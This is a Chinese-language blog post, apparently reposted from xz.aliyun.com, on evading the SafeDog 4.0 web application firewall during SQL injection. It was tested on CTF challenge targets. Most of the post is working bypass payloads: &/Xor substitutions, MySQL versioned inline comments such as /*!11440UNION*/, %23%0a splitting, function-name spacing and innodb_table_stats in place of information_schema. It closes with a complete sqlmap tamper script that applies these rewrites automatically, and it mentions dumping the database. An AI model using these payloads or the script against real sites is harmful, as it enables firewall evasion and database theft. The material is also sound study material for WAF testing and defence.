安全狗SQL注入Bypass
2020-03-30 10:57:58 Author: xz.aliyun.com(查看原文) 阅读量:407 收藏

最近准备多搞搞实战,就准备从绕waf开始,第一位受害者就选安全狗4.0叭,用的靶机就是2019极客大挑战的几道sql注入题

1=1绕过

'and 1=1-- -被拦截:

&符号可以绕

'%261-- -
'%26true-- -
'%260-- -
'%26false-- -

xor同样可以绕:

'Xor 1-- -
'Xor true-- -

'or length(database()=4)-- -会被ban,这样绕:

'%26(length(database/**/())=4)-- -
'%26(ascii(@@version)=53)-- -

这样也可以

1'or -1=-1-- -
1'or -0=-0-- -
...

内敛注释:

1'or /*!1=1*/-- -

或者简单粗暴点的 直接绕过and和or:

/*!11440OR*/
/*!11440AND*/

order by 绕过

%23%0a绕过

order%23%0aby 3

内敛注释加注释绕过:

1'/*!order /*!/*/**/by*/4-- -
1'/*!order /*/*%/**/by*/4-- -
1'/*!order /*!/*/**//**/by*/4-- -
1'/*!order /*!/*/**//*/**/by*/4-- -

同样类似上面绕过and方法:

/*!11440order*/

union select绕过:

利用内敛注释与注释的混淆绕过

1'/*!union/*!/*/**/*/select/**/1,2,'cl4y'-- -

/*!11440union*/:

/*!11440union*/

系统函数绕过

单独的括号和函数名都不会检测,思路就是分开函数名和括号就行:

version ()      #直接空格
user%0a()       #这个地方%0a~%20有很多,类似绕过空格
database/**/()  #注释符
user/*!*/()     #内敛注释
...

information_schema.*绕过

这个地方没有找到方法绕过,不过Mysql>5.6.xmysql 库里增添了两个新表,innodb_index_statsinnodb_table_stats 这两个表是数据库自动设置的。存储数据库和对应的数据表。安全狗没有对这两个表检测,详见这篇文章

最后就可以拖库了:

最后附上tamper脚本:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-


from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST


def dependencies():
    pass

def tamper(payload, **kwargs):



    if payload:
        payload=payload.replace("=","/*!*/=/*!*/")
        payload=payload.replace("ORDER","/*!11440order*/")
        payload=payload.replace("AND","/*!11440AND*/")
        payload=payload.replace("OR","/*!11440OR*/")
        payload=payload.replace("UNION","/*!11440UNION*/")
        payload=payload.replace("SELECT","/*!11440SELECT*/")
        payload=payload.replace("USER()","USER/**/()")
        payload=payload.replace("DATABASE()","DATABASE/**/()")
        payload=payload.replace("VERSION()","VERSION/**/()")
        payload=payload.replace("SESSION_USER()","SESSION_USER/**/()")

    return payload

文章来源: http://xz.aliyun.com/t/7449
如有侵权请联系:admin#unsafe.sh